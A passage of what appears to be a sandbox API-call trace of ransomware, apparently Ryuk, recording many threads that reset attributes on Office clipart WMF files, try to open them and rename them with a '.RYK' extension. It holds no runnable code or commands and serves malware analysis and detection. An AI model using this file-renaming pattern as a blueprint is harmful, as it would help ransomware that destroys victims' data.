	[0246.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2600
	os_tid = 0x2e7c

	[0246.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF", dwFileAttributes=0x80) returned 0
	[0246.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.166] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2601
	os_tid = 0x2e80

	[0246.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF", dwFileAttributes=0x80) returned 0
	[0246.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.443] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2602
	os_tid = 0x2e84

	[0246.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF", dwFileAttributes=0x80) returned 0
	[0246.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.444] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2603
	os_tid = 0x2e88

	[0246.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF", dwFileAttributes=0x80) returned 0
	[0246.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.445] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2604
	os_tid = 0x2e8c

	[0246.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF", dwFileAttributes=0x80) returned 0
	[0246.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.447] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2605
	os_tid = 0x2e90

	[0246.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF", dwFileAttributes=0x80) returned 0
	[0246.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.448] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2606
	os_tid = 0x2e94

	[0246.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF", dwFileAttributes=0x80) returned 0
	[0246.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.161] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2607
	os_tid = 0x2e98

	[0246.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF", dwFileAttributes=0x80) returned 0
	[0246.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.449] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2608
	os_tid = 0x2e9c

	[0246.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF", dwFileAttributes=0x80) returned 0
	[0246.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2609
	os_tid = 0x2ea0

	[0246.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF", dwFileAttributes=0x80) returned 0
	[0246.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.452] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2610
	os_tid = 0x2ea4

	[0246.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF", dwFileAttributes=0x80) returned 0
	[0246.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.148] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.148] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2636
	os_tid = 0x2f0c

	[0246.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF", dwFileAttributes=0x80) returned 0
	[0246.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.378] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2637
	os_tid = 0x2f10

	[0246.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF", dwFileAttributes=0x80) returned 0
	[0246.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.380] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.380] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2638
	os_tid = 0x2f14

	[0246.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF", dwFileAttributes=0x80) returned 0
	[0246.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.382] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2639
	os_tid = 0x2f18

	[0246.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF", dwFileAttributes=0x80) returned 0
	[0246.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.384] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.384] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2640
	os_tid = 0x2f1c

	[0246.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF", dwFileAttributes=0x80) returned 0
	[0246.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.385] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.386] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2641
	os_tid = 0x2f20

	[0246.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF", dwFileAttributes=0x80) returned 0
	[0246.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.130] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2642
	os_tid = 0x2f24

	[0246.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF", dwFileAttributes=0x80) returned 0
	[0246.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.129] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2643
	os_tid = 0x2f28

	[0246.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF", dwFileAttributes=0x80) returned 0
	[0246.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.128] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2644
	os_tid = 0x2f2c

	[0246.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF", dwFileAttributes=0x80) returned 0
	[0246.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.127] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2645
	os_tid = 0x2f30

	[0246.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", dwFileAttributes=0x80) returned 0
	[0246.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.126] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2646
	os_tid = 0x2f34

	[0246.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF", dwFileAttributes=0x80) returned 0
	[0246.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.125] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2647
	os_tid = 0x2f38

	[0246.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF", dwFileAttributes=0x80) returned 0
	[0246.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.622] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2648
	os_tid = 0x2f3c

	[0246.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF", dwFileAttributes=0x80) returned 0
	[0246.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.625] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2656
	os_tid = 0x2f5c

	[0246.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF", dwFileAttributes=0x80) returned 0
	[0247.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.620] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2657
	os_tid = 0x2f60

	[0246.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF", dwFileAttributes=0x80) returned 0
